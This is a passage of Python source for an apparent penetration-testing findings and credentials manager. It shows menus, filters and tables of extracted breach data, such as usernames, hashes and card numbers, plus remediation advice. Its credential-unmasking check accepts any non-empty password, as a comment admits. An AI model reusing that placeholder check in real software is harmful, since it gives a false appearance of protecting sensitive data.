        click.echo(click.style("Finding not found", fg='red'))
        click.pause()
        return

    console = Console()
    DesignSystem.clear_screen()
    width = get_terminal_width()

    # Severity with color
    sev = finding.get('severity', 'info')
    sev_colors = {'critical': 'red', 'high': 'red', 'medium': 'yellow', 'low': 'blue', 'info': 'white'}
    sev_color = sev_colors.get(sev, 'white')
    sev_icons = {'critical': '🚨', 'high': '⚠️', 'medium': '⚡', 'low': 'ℹ️', 'info': '📝'}
    sev_icon = sev_icons.get(sev, '📝')

    # Header
    click.echo()
    click.echo("┌" + "─" * (width - 2) + "┐")
    header_text = f" {sev_icon} FINDING #{finding['id']} - {sev.upper()} "
    click.echo("│" + click.style(header_text.center(width - 2), bold=True, fg=sev_color) + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()

    # Title
    click.echo(f"  {click.style(finding.get('title', 'N/A'), bold=True, fg=sev_color)}")
    click.echo()

    # Core details in two columns
    finding_type = finding.get('finding_type', 'N/A')
    tool = finding.get('tool', 'N/A')
    host = finding.get('ip_address', 'N/A')
    port = finding.get('port', '')
    path = finding.get('path', '')

    click.echo(f"  {click.style('Type:', dim=True)} {finding_type:<20} {click.style('Tool:', dim=True)} {tool}")
    click.echo(f"  {click.style('Host:', dim=True)} {host:<20} {click.style('Port:', dim=True)} {port or 'N/A'}")
    if path:
        click.echo(f"  {click.style('Path:', dim=True)} {path}")
    click.echo()

    # Check if this is a data breach finding
    is_data_breach = finding_type == 'data_breach' or 'exfiltrat' in finding.get('title', '').lower()

    if is_data_breach:
        # Enhanced data breach view
        click.echo("─" * width)
        click.echo(click.style("  📊 EXFILTRATED DATA", bold=True, fg='red'))
        click.echo()

        # Try to parse dumped data from description or load from CSV
        description = finding.get('description', '')

        # Extract CSV paths from description
        csv_paths = []
        for line in description.split('\n'):
            if 'CSV:' in line:
                csv_path = line.split('CSV:')[-1].strip()
                if csv_path and os.path.exists(csv_path):
                    csv_paths.append(csv_path)

        # Show data from CSV files
        for csv_path in csv_paths:
            table_name = os.path.basename(csv_path).replace('.csv', '')
            click.echo(f"  {click.style('📋 ' + table_name, bold=True, fg='cyan')}")
            click.echo(f"     {click.style('Source:', dim=True)} {csv_path}")
            click.echo()

            try:
                with open(csv_path, 'r', encoding='utf-8', errors='replace') as f:
                    reader = csv.DictReader(f)
                    rows = list(reader)
                    columns = reader.fieldnames or []

                    if rows:
                        # Prioritize interesting columns
                        priority_patterns = ['id', 'username', 'user', 'email', 'password', 'passwd', 'hash',
                                           'name', 'fullname', 'card', 'cardnum', 'phone', 'address']
                        priority_cols = [c for c in columns if any(p in c.lower() for p in priority_patterns)]
                        other_cols = [c for c in columns if c not in priority_cols]
                        display_cols = (priority_cols + other_cols)[:7]

                        # Create table
                        table = Table(show_header=True, header_style="bold cyan",
                                     box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)

                        col_width = max(12, (width - 10) // len(display_cols))
                        for col in display_cols:
                            if any(x in col.lower() for x in ['password', 'passwd', 'hash', 'secret', 'card']):
                                table.add_column(col, style="red", max_width=col_width, overflow="ellipsis")
                            elif any(x in col.lower() for x in ['username', 'user', 'email', 'login']):
                                table.add_column(col, style="yellow", max_width=col_width, overflow="ellipsis")
                            else:
                                table.add_column(col, max_width=col_width, overflow="ellipsis")

                        # Show first 10 rows
                        for row in rows[:10]:
                            row_data = []
                            for col in display_cols:
                                val = str(row.get(col, ''))
                                if val in ['<blank>', 'None', 'NULL', '']:
                                    val = '-'
                                row_data.append(val)
                            table.add_row(*row_data)

                        console.print(table)

                        if len(rows) > 10:
                            click.echo(f"     ... and {len(rows) - 10} more rows")

                        # Show hidden columns
                        if len(columns) > 7:
                            hidden = columns[7:]
                            click.echo(f"     {click.style('Hidden columns:', dim=True)} {', '.join(hidden[:5])}" +
                                      (f" +{len(hidden) - 5} more" if len(hidden) > 5 else ""))
                        click.echo()

            except Exception as e:
                click.echo(f"     {click.style('Error reading CSV:', fg='red')} {str(e)}")
                click.echo()

        if not csv_paths:
            # No CSV found, show description
            click.echo(click.style("  Description:", bold=True))
            for line in description.split('\n'):
                if line.strip():
                    click.echo(f"  {line}")
            click.echo()

        # Impact assessment
        click.echo("─" * width)
        click.echo(click.style("  ⚡ IMPACT ASSESSMENT", bold=True, fg='yellow'))
        click.echo()

        # Detect data types
        has_credentials = any(x in description.lower() for x in ['user', 'password', 'credential', 'login'])
        has_cards = any(x in description.lower() for x in ['card', 'payment', 'credit', 'cardnum'])
        has_pii = any(x in description.lower() for x in ['address', 'phone', 'email', 'name'])

        if has_credentials:
            click.echo(f"  🔐 {click.style('Credential Exposure', fg='red', bold=True)}")
            click.echo(f"     User accounts with password hashes were extracted")
            click.echo(f"     {click.style('Risk:', dim=True)} Account takeover, credential stuffing attacks")
            click.echo()
        if has_cards:
            click.echo(f"  💳 {click.style('Payment Card Data (PCI)', fg='red', bold=True)}")
            click.echo(f"     Credit card numbers were extracted")
            click.echo(f"     {click.style('Risk:', dim=True)} Financial fraud, PCI-DSS violation, mandatory breach notification")
            click.echo()
        if has_pii:
            click.echo(f"  👤 {click.style('Personal Identifiable Information', fg='yellow', bold=True)}")
            click.echo(f"     Personal data (names, addresses, etc.) was extracted")
            click.echo(f"     {click.style('Risk:', dim=True)} Identity theft, GDPR/CCPA violation")
            click.echo()

        # Remediation
        click.echo("─" * width)
        click.echo(click.style("  🔧 IMMEDIATE ACTIONS", bold=True, fg='green'))
        click.echo()
        click.echo("  1. Patch the SQL injection vulnerability immediately")
        click.echo("  2. Rotate all affected user credentials")
        if has_cards:
            click.echo("  3. Contact payment processor and legal team")
            click.echo("  4. Prepare PCI-DSS breach notification")
        click.echo(f"  {'5' if has_cards else '3'}. Review database access logs for unauthorized access")
        click.echo(f"  {'6' if has_cards else '4'}. Implement parameterized queries / prepared statements")
        click.echo()

    else:
        # Standard finding view
        if finding.get('description'):
            click.echo(click.style("  Description:", bold=True))
            desc = finding.get('description', '')
            # Word wrap description
            for line in desc.split('\n'):
                if line.strip():
                    click.echo(f"  {line}")
            click.echo()

        if finding.get('evidence'):
            click.echo(click.style("  Evidence:", bold=True))
            evidence = finding.get('evidence', '')[:1000]
            for line in evidence.split('\n'):
                if line.strip():
                    click.echo(f"  {line}")
            click.echo()

        if finding.get('refs'):
            click.echo(click.style("  References:", bold=True))
            click.echo(f"  {finding.get('refs')}")
            click.echo()

    click.echo("─" * width)
    click.pause("  Press any key to return...")


def _edit_single_finding(engagement_id: int, fm: 'FindingsManager', finding_id: int):
    """Edit a single finding."""
    finding = fm.get_finding(finding_id)
    if not finding:
        click.echo(click.style("Finding not found", fg='red'))
        click.pause()
        return

    click.echo()
    click.echo(click.style(f"  Editing Finding #{finding_id}: {finding.get('title', 'No title')}", bold=True))
    click.echo()

    # Edit fields
    new_title = click.prompt("  Title", default=finding.get('title', ''))
    new_severity = click.prompt("  Severity (critical/high/medium/low/info)", default=finding.get('severity', 'info'))
    new_description = click.prompt("  Description", default=finding.get('description', '') or '')

    # Update finding
    fm.update_finding(finding_id, title=new_title, severity=new_severity, description=new_description)
    click.echo(click.style("\n  ✓ Finding updated", fg='green'))
    click.pause()


def _filter_by_severity():
    """Prompt for severity filter."""
    click.echo("\nSelect severity:")
    click.echo("  [1] Critical")
    click.echo("  [2] High")
    click.echo("  [3] Medium")
    click.echo("  [4] Low")
    click.echo("  [5] Info")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Severity", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            severity_map = {1: 'critical', 2: 'high', 3: 'medium', 4: 'low', 5: 'info'}
            return severity_map.get(choice)
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_by_type(engagement_id: int, fm: 'FindingsManager'):
    """Prompt for finding type filter."""
    types = fm.get_unique_types(engagement_id)

    if not types:
        click.echo(click.style("No finding types available", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect finding type:")
    for idx, ftype in enumerate(types, 1):
        click.echo(f"  [{idx}] {ftype}")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Type", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if choice > 0 and choice <= len(types):
                return types[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_by_tool(engagement_id: int, fm: 'FindingsManager'):
    """Prompt for tool filter."""
    tools = fm.get_unique_tools(engagement_id)

    if not tools:
        click.echo(click.style("No tools available", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect tool:")
    for idx, tool in enumerate(tools, 1):
        click.echo(f"  [{idx}] {tool}")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Tool", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if choice > 0 and choice <= len(tools):
                return tools[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_by_search():
    """Prompt for search term."""
    try:
        search = click.prompt("Search term (or press Enter to clear)", default="", show_default=False)
        return search if search else None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_by_ip():
    """Prompt for IP address filter."""
    try:
        ip = click.prompt("IP address (or press Enter to clear)", default="", show_default=False)
        return ip if ip else None
    except (KeyboardInterrupt, click.Abort):
        return None


def _view_all_findings(findings: list):
    """View all findings results with pagination."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 110)
    click.echo("ALL FINDINGS")
    click.echo("=" * 110 + "\n")
    
    click.echo(f"Total findings: {len(findings)}\n")
    
    # Table header
    click.echo("  ┌────────┬──────────────┬────────────────────────┬──────────────┬───────────────────┬──────────────────────────────────────────┐")
    header = f"  │ ID     │ Severity     │ Type                   │ Tool         │ Host              │ Title                                    │"
    click.echo(click.style(header, bold=True))
    click.echo("  ├────────┼──────────────┼────────────────────────┼──────────────┼───────────────────┼──────────────────────────────────────────┤")
    
    for finding in findings:
        fid = finding.get('id', '?')
        sev = finding.get('severity', 'info')
        ftype = (finding.get('finding_type') or 'unknown')
        tool = (finding.get('tool') or '-')
        host = (finding.get('ip_address') or 'N/A')
        title = (finding.get('title') or 'No title')
        
        # Truncate long strings
        if len(ftype) > 22:
            ftype = ftype[:19] + '...'
        if len(tool) > 12:
            tool = tool[:9] + '...'
        if len(host) > 17:
            host = host[:17]
        if len(title) > 40:
            title = title[:37] + '...'
        
        # Color code severity
        sev_color = {
            'critical': 'red',
            'high': 'red',
            'medium': 'yellow',
            'low': 'blue',
            'info': 'white'
        }.get(sev, 'white')
        
        sev_display = click.style(f"{sev:<12}", fg=sev_color)
        row = f"  │ {str(fid):<6} │ {sev_display} │ {ftype:<22} │ {tool:<12} │ {host:<17} │ {title:<40} │"
        click.echo(row)
    
    click.echo("  └────────┴──────────────┴────────────────────────┴──────────────┴───────────────────┴──────────────────────────────────────────┘")
    
    click.pause("\n\nPress any key to continue...")


def _view_finding_details(engagement_id: int, fm: 'FindingsManager'):
    """View detailed information about a specific finding."""
    try:
        finding_id = click.prompt("\nEnter Finding ID to view", type=int)
        finding = fm.get_finding(finding_id)

        if not finding or finding.get('engagement_id') != engagement_id:
            click.echo(click.style("\n✗ Finding not found or not in current engagement!", fg='red'))
            click.pause()
            return

        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 80)
        click.echo("FINDING DETAILS")
        click.echo("=" * 80 + "\n")

        # Display all fields
        click.echo(click.style(f"ID: ", bold=True) + str(finding.get('id')))

        severity = finding.get('severity', 'info')
        sev_color = {'critical': 'red', 'high': 'red', 'medium': 'yellow', 'low': 'blue', 'info': 'white'}.get(severity, 'white')
        click.echo(click.style(f"Severity: ", bold=True) + click.style(severity.upper(), fg=sev_color))

        click.echo(click.style(f"Title: ", bold=True) + (finding.get('title') or 'N/A'))
        click.echo(click.style(f"Type: ", bold=True) + (finding.get('finding_type') or 'N/A'))
        click.echo(click.style(f"Tool: ", bold=True) + (finding.get('tool') or 'N/A'))
        click.echo(click.style(f"Host: ", bold=True) + (finding.get('ip_address') or 'N/A'))

        if finding.get('hostname'):
            click.echo(click.style(f"Hostname: ", bold=True) + finding['hostname'])
        if finding.get('port'):
            click.echo(click.style(f"Port: ", bold=True) + str(finding['port']))
        if finding.get('path'):
            click.echo(click.style(f"Path: ", bold=True) + finding['path'])
        if finding.get('refs'):
            click.echo(click.style(f"References: ", bold=True) + finding['refs'])

        click.echo(click.style(f"\nDescription:", bold=True))
        description = finding.get('description') or 'No description provided.'
        
        # Security: Mask credentials in findings unless user confirms
        finding_type = finding.get('finding_type', '')
        title_lower = (finding.get('title') or '').lower()
        desc_lower = description.lower()
        
        # Check if this finding contains credentials
        contains_credentials = (
            finding_type == 'credential' or
            'credential' in title_lower or
            'password' in title_lower or
            'password:' in desc_lower or
            'credentials:' in desc_lower or
            ('valid' in title_lower and any(word in title_lower for word in ['ssh', 'ftp', 'mysql', 'postgresql', 'smb', 'rdp']))
        )
        
        if contains_credentials and (severity in ('critical', 'high')):
            # Mask the credentials by default
            click.echo(click.style("[CREDENTIALS MASKED - Contains sensitive information]", fg='yellow', dim=True))
            click.echo()
            
            if click.confirm(click.style("⚠️  This finding contains credentials. Show plain text?", fg='yellow'), default=False):
                # Require password confirmation
                import getpass
                password_prompt = getpass.getpass("Enter your system password to view credentials: ")
                
                # Basic validation - just checking they entered something
                # In production, you'd verify against actual user password
                if password_prompt:
                    click.echo()
                    click.echo(click.style("✓ Access granted", fg='green'))
                    click.echo()
                    click.echo(description)
                else:
                    click.echo(click.style("\n✗ Access denied - no password provided", fg='red'))
            else:
                click.echo(click.style("Credentials remain masked for security.", dim=True))
        else:
            # Non-credential findings, show normally
            click.echo(description)

        click.echo(click.style(f"\nCreated: ", bold=True) + (finding.get('created_at') or 'N/A'))

        click.pause("\n\nPress any key to continue...")

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Finding ID!", fg='red'))
        click.pause()


def _add_new_finding(engagement_id: int, fm: 'FindingsManager'):
    """Add a new finding manually."""
    from souleyez.storage.hosts import HostManager

    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("ADD NEW FINDING")
    click.echo("=" * 80 + "\n")

    try:
        # Title (required)
        title = click.prompt("Title", type=str)
        if not title.strip():
            click.echo(click.style("\n✗ Title is required!", fg='red'))
            click.pause()
            return

        # Severity
        click.echo("\nSeverity:")
        click.echo("  [1] Critical")
        click.echo("  [2] High")
        click.echo("  [3] Medium")
        click.echo("  [4] Low")
        click.echo("  [5] Info")
        sev_choice = click.prompt("Select severity", type=int, default=5)
        severity_map = {1: 'critical', 2: 'high', 3: 'medium', 4: 'low', 5: 'info'}
        severity = severity_map.get(sev_choice, 'info')

        # Finding type
        finding_type = click.prompt("\nFinding Type (e.g., web_vulnerability, misconfiguration)", type=str, default="")

        # Description
        description = click.prompt("\nDescription (press Enter to skip)", type=str, default="")

        # Host selection
        hm = HostManager()
        hosts = hm.list_hosts(engagement_id)

        host_id = None
        if hosts:
            click.echo("\nSelect host (or press Enter to skip):")
            click.echo("  [0] No host")
            for idx, host in enumerate(hosts[:20], 1):
                click.echo(f"  [{idx}] {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

            host_choice = click.prompt("Select host", type=int, default=0)
            if 1 <= host_choice <= len(hosts):
                host_id = hosts[host_choice - 1]['id']

        # Port
        port_str = click.prompt("\nPort (press Enter to skip)", type=str, default="")
        port = int(port_str) if port_str.isdigit() else None

        # Path
        path = click.prompt("\nPath/URL (press Enter to skip)", type=str, default="")

        # References
        refs = click.prompt("\nReferences/CVE (press Enter to skip)", type=str, default="")

        # Tool
        tool = click.prompt("\nTool (press Enter to skip)", type=str, default="manual")

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("SUMMARY:", bold=True))
        click.echo(f"Title: {title}")
        click.echo(f"Severity: {severity}")
        click.echo(f"Type: {finding_type or 'N/A'}")
        click.echo(f"Description: {description[:50] + '...' if len(description) > 50 else description}")
        click.echo(f"Host: {host_id or 'N/A'}")
        click.echo(f"Port: {port or 'N/A'}")
        click.echo(f"Path: {path or 'N/A'}")
        click.echo(f"References: {refs or 'N/A'}")
        click.echo(f"Tool: {tool or 'manual'}")
        click.echo("-" * 80)

        if not click.confirm("\nAdd this finding?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Add to database
        finding_id = fm.add_finding(
            engagement_id=engagement_id,
            title=title,
            finding_type=finding_type or None,
            severity=severity,
            description=description or None,
            host_id=host_id,
            tool=tool or 'manual',
            refs=refs or None,
            port=port,
            path=path or None
        )

        click.echo(click.style(f"\n✓ Finding added successfully! (ID: {finding_id})", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        click.echo(click.style("\nCancelled.", fg='yellow'))
        click.pause()


def _edit_finding(engagement_id: int, fm: 'FindingsManager'):
    """Edit an existing finding."""
    try:
        finding_id = click.prompt("\nEnter Finding ID to edit", type=int)
        finding = fm.get_finding(finding_id)

        if not finding or finding.get('engagement_id') != engagement_id:
            click.echo(click.style("\n✗ Finding not found or not in current engagement!", fg='red'))
            click.pause()
            return

        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 80)
        click.echo(f"EDIT FINDING #{finding_id}")
        click.echo("=" * 80 + "\n")
        click.echo("Press Enter to keep current value\n")

        # Title
        current_title = finding.get('title', '')
        title = click.prompt(f"Title [{current_title}]", type=str, default=current_title)

        # Severity
        current_severity = finding.get('severity', 'info')
        click.echo(f"\nCurrent Severity: {current_severity}")
        click.echo("  [1] Critical")
        click.echo("  [2] High")
        click.echo("  [3] Medium")
        click.echo("  [4] Low")
        click.echo("  [5] Info")
        click.echo("  [q] Keep current")
        sev_input = click.prompt("Select severity", type=str, default='q').strip()
        if sev_input == 'q':
            severity = current_severity
        else:
            try:
                sev_choice = int(sev_input)
                severity_map = {1: 'critical', 2: 'high', 3: 'medium', 4: 'low', 5: 'info'}
                severity = severity_map.get(sev_choice, current_severity)
            except ValueError:
                severity = current_severity

        # Finding type
        current_type = finding.get('finding_type', '')
        finding_type = click.prompt(f"\nFinding Type [{current_type}]", type=str, default=current_type)

        # Description
        current_desc = finding.get('description', '')
        description = click.prompt(f"\nDescription [{current_desc[:30]}...]", type=str, default=current_desc)

        # Build update dict
        updates = {}
        if title != finding.get('title'):
            updates['title'] = title
        if severity != finding.get('severity'):
            updates['severity'] = severity
        if finding_type != finding.get('finding_type'):
            updates['finding_type'] = finding_type
        if description != finding.get('description'):
            updates['description'] = description

        if not updates:
            click.echo(click.style("\nNo changes made.", fg='yellow'))
            click.pause()
            return

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("CHANGES:", bold=True))
        for key, value in updates.items():
            click.echo(f"  {key}: {value}")
        click.echo("-" * 80)

        if not click.confirm("\nSave changes?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Update database
        if fm.update_finding(finding_id, **updates):
            click.echo(click.style("\n✓ Finding updated successfully!", fg='green'))
        else:
            click.echo(click.style("\n✗ Failed to update finding!", fg='red'))

        click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Finding ID!", fg='red'))
        click.pause()


def _delete_finding(engagement_id: int, fm: 'FindingsManager'):
    """Delete findings using interactive selector."""
    from souleyez.ui.interactive_selector import interactive_select

    # Get all findings for this engagement
    findings = fm.list_findings(engagement_id)

    if not findings:
        click.echo(click.style("\n  No findings to delete.", fg='yellow'))
        click.pause()
        return

    # Sort by severity
    severity_order = {'critical': 0, 'high': 1, 'medium': 2, 'low': 3, 'info': 4}
    findings = sorted(findings, key=lambda f: severity_order.get(f.get('severity', 'info'), 5))

    # Use interactive selector
    selected_finding_ids = set()
    columns = [
        {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
        {'name': 'Severity', 'width': 10, 'key': 'severity'},
        {'name': 'Type', 'width': 15, 'key': 'finding_type'},
        {'name': 'Host', 'width': 15, 'key': 'ip_address'},
        {'name': 'Title', 'key': 'title'},
    ]

    def format_finding_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if value is None:
            return '-'
        if key == 'severity':
            colors = {'critical': 'red', 'high': 'red', 'medium': 'yellow', 'low': 'blue', 'info': 'white'}
            color = colors.get(value, 'white')
            return f'[{color}]{value}[/{color}]'
        return str(value) if value else '-'

    interactive_select(
        items=findings,
        columns=columns,
        selected_ids=selected_finding_ids,
        get_id=lambda f: f.get('id'),
        title='SELECT FINDINGS TO DELETE',
        format_cell=format_finding_cell
    )

    if not selected_finding_ids:
        click.echo("\n  No findings selected.")
        click.pause()
        return

    # Confirm deletion
    click.echo(f"\n  Findings to delete: {len(selected_finding_ids)}")
    if not click.confirm(click.style("  Are you sure you want to delete these findings?", fg='red'), default=False):
        click.echo(click.style("  Cancelled.", fg='yellow'))
        click.pause()
        return

    # Delete findings
    deleted = 0
    for fid in selected_finding_ids:
        if fm.delete_finding(fid):
            deleted += 1

    click.echo(click.style(f"\n  ✓ Deleted {deleted} finding(s)", fg='green'))
    click.pause()


def view_credentials(engagement_id: int):
    """Display and manage credentials in engagement."""
    from souleyez.storage.credentials import CredentialsManager
    from souleyez.storage.crypto import get_crypto_manager

    cm = CredentialsManager()
    crypto = get_crypto_manager()
    
    # Check if crypto needs unlocking
    if not crypto.is_unlocked():
        click.echo()
        click.echo(click.style("🔐 Credentials are encrypted. Master password required.", fg='cyan', bold=True))
        click.echo()
        
        max_attempts = 3
        for attempt in range(max_attempts):
            password = click.prompt("Master password", hide_input=True, type=str)
            try:
                crypto.unlock(password)
                click.echo(click.style("✓ Unlocked successfully", fg='green'))
                break
            except Exception as e:
                remaining = max_attempts - attempt - 1
                if remaining > 0:
                    click.echo(click.style(f"✗ Invalid password. {remaining} attempts remaining.", fg='red'))
                else:
                    click.echo(click.style("✗ Access denied. Returning to menu.", fg='red'))
                    click.pause()
                    return

    # Active filters
    filters = {
        'service': None,
        'status': None,
        'host_id': None
    }

    # Pagination
    PAGE_SIZE = 20
    current_page = 1
    view_all = False

    # Track selected credentials for multi-select
    selected_cred_ids = set()

    while True:
        DesignSystem.clear_screen()
        width = 102
        
        click.echo()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" CREDENTIALS ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Show active filters
        active_filters = [f"{k}: {v}" for k, v in filters.items() if v]
        if active_filters:
            click.echo("  " + click.style("Active Filters: ", bold=True) + ", ".join(active_filters))
            click.echo()

        # Get credentials with filters (DO NOT decrypt - show masked)
        credentials = cm.list_credentials(
            engagement_id,
            host_id=filters['host_id'],
            service=filters['service'],
            status=filters['status'],
            decrypt=False  # Show masked passwords, not plaintext
        )

        # Pagination calculations
        total_creds = len(credentials) if credentials else 0
        total_pages = max(1, (total_creds + PAGE_SIZE - 1) // PAGE_SIZE) if credentials else 1
        current_page = min(current_page, total_pages)

        if not credentials:
            click.echo("  " + click.style("No credentials found with current filters.", fg='yellow'))
        else:
            # Show summary
            stats = cm.get_stats(engagement_id)
            click.echo(f"  {click.style('Total:', bold=True)} {stats['total']}  |  " +
                      f"{click.style('Valid:', bold=True, fg='green')} {stats['valid']}  |  " +
                      f"{click.style('Pairs:', bold=True)} {stats['pairs']}")
            click.echo()

            # Use Rich Table for proper expansion
            from rich.console import Console
            from rich.table import Table
            
            console = Console()
            table = Table(show_header=True, header_style="bold", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)

            table.add_column("○", width=3, justify="center")  # Selection checkbox
            table.add_column("ID", justify="right", width=6)
            table.add_column("Host", style="green")
            table.add_column("Service", style="cyan")
            table.add_column("Username", style="yellow")
            table.add_column("Password", style="magenta")
            table.add_column("Status", width=12)
            table.add_column("Tool", style="dim")

            # Apply pagination
            if view_all:
                page_creds = credentials
            else:
                start_idx = (current_page - 1) * PAGE_SIZE
                end_idx = start_idx + PAGE_SIZE
                page_creds = credentials[start_idx:end_idx]

            for cred in page_creds:
                cid = cred.get('id')
                checkbox = '●' if cid in selected_cred_ids else '○'
                host = (cred.get('ip_address') or 'N/A')
                service = (cred.get('service') or 'N/A')
                username = (cred.get('username') or '-')
                password = (cred.get('password') or '-')
                status = cred.get('status', 'unknown')
                tool = (cred.get('tool') or 'N/A')

                # Color code status
                if status == 'valid':
                    status_display = f'[green]{status}[/green]'
                elif status == 'invalid':
                    status_display = f'[red]{status}[/red]'
                elif status == 'untested':
                    status_display = f'[yellow]{status}[/yellow]'
                elif status == 'discovered':
                    status_display = f'[cyan]{status}[/cyan]'
                else:
                    status_display = status

                table.add_row(checkbox, str(cid), host, service, username, password, status_display, tool)

            console.print(table)
            click.echo()

            if view_all:
                click.echo(f"  Showing all {total_creds} items")
            else:
                click.echo(f"  Page {current_page}/{total_pages}")

        # TIP and navigation hints (like job queue)
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if not view_all and total_pages > 1:
            click.echo("  n/p: Next/Previous page")
        click.echo()

        # Divider and inline menu (job queue style)
        click.echo("─" * get_terminal_width())
        click.echo()
        click.echo("  [#] View credential details")
        if view_all:
            click.echo("  [t] Toggle - Show paginated view")
        else:
            click.echo("  [t] Toggle - Toggle pagination")
        click.echo("  [d] Decrypt all - Display all passwords in plaintext")
        click.echo("  [a] Add - Manually add credential")
        click.echo("  [f] Filter - Filter by service/status/host")
        click.echo("  [c] Clear filters - Reset all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", type=str, default='q', show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'n' and not view_all and current_page < total_pages:
                current_page += 1
            elif choice == 'p' and not view_all and current_page > 1:
                current_page -= 1
            elif choice == 't':
                view_all = not view_all
                current_page = 1
            elif choice.isdigit():
                # Direct number entry - view credential by ID
                cred_id = int(choice)
                _view_credential_by_id(cred_id, engagement_id, cm)
            elif choice == 'i':
                # Interactive mode - select multiple credentials
                from souleyez.ui.interactive_selector import interactive_select

                columns = [
                    {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
                    {'name': 'Host', 'width': 15, 'key': 'ip_address'},
                    {'name': 'Service', 'width': 12, 'key': 'service'},
                    {'name': 'Username', 'width': 20, 'key': 'username'},
                    {'name': 'Status', 'width': 12, 'key': 'status'},
                ]

                def format_cred_cell(item: dict, key: str) -> str:
                    value = item.get(key)
                    if value is None:
                        return '-'
                    if key == 'status':
                        if value == 'valid':
                            return '[green]valid[/green]'
                        elif value == 'invalid':
                            return '[red]invalid[/red]'
                        elif value == 'untested':
                            return '[yellow]untested[/yellow]'
                        elif value == 'enumerated':
                            return '[cyan]enumerated[/cyan]'
                    return str(value) if value else '-'

                interactive_select(
                    items=credentials,
                    columns=columns,
                    selected_ids=selected_cred_ids,
                    get_id=lambda c: c.get('id'),
                    title='SELECT CREDENTIALS',
                    format_cell=format_cred_cell,
                    page_size=20
                )

                # After selection - show bulk action menu
                if selected_cred_ids:
                    _credentials_bulk_action_menu(credentials, selected_cred_ids, engagement_id, cm)
                continue

            elif choice == 'd':
                from souleyez.ui.dashboard import view_credentials_decrypted
                view_credentials_decrypted(engagement_id)
            elif choice == 'a':
                _add_new_credential(engagement_id, cm)
            elif choice == 'f':
                # Filter sub-menu
                filter_choice = click.prompt(
                    "Filter by: [s]ervice  [u]status  [h]ost  [q]cancel",
                    type=str, default='q', show_default=False
                ).strip().lower()
                if filter_choice == 's':
                    filters['service'] = _filter_credential_by_service(engagement_id, cm)
                    current_page = 1
                elif filter_choice == 'u':
                    filters['status'] = _filter_credential_by_status()
                    current_page = 1
                elif filter_choice == 'h':
                    filters['host_id'] = _filter_credential_by_host(engagement_id)
                    current_page = 1
            elif choice == 'c':
                filters = {k: None for k in filters}
                current_page = 1
                click.echo(click.style("✓ All filters cleared", fg='green'))
                click.pause()

        except (KeyboardInterrupt, click.Abort):
            return


def _view_credential_by_id(cred_id: int, engagement_id: int, cm):
    """View credential details by ID without prompting."""
    from souleyez.storage.crypto import get_crypto_manager
    crypto = get_crypto_manager()

    # Check unlock status FIRST (before any decryption via list_credentials)
    if crypto.is_encryption_enabled() and not crypto.is_unlocked():
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 80)
        click.echo(click.style("🔒 CREDENTIAL PROTECTION ENABLED", bold=True, fg='yellow'))
        click.echo("=" * 80 + "\n")
        click.echo(click.style("This credential contains sensitive data.", fg='yellow'))
        click.echo(click.style("Password required to view details.", fg='yellow'))
        click.echo()

        import getpass
        max_attempts = 3
        for attempt in range(max_attempts):
            password = getpass.getpass("Enter password: ")
            if crypto.unlock(password):
                click.echo(click.style("✓ Access granted", fg='green'))
                click.echo()
                import time
                time.sleep(0.5)
                break
            else:
                remaining = max_attempts - attempt - 1
                if remaining > 0:
                    click.echo(click.style(f"✗ Incorrect password. {remaining} attempts remaining.", fg='red'))
                else:
                    click.echo(click.style("\n✗ Maximum attempts reached - cannot display credential", fg='red'))
                    click.echo()
                    click.pause()
                    return

    # NOW safe to call list_credentials with decryption
    credentials = cm.list_credentials(engagement_id)
    credential = next((c for c in credentials if c.get('id') == cred_id), None)

    if not credential:
        click.echo(click.style("\n✗ Credential not found!", fg='red'))
        click.pause()
        return

    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("CREDENTIAL DETAILS")
    click.echo("=" * 80 + "\n")

    # Display all fields
    click.echo(click.style(f"ID: ", bold=True) + str(credential.get('id')))
    click.echo(click.style(f"Host: ", bold=True) + (credential.get('ip_address') or 'N/A'))

    if credential.get('hostname'):
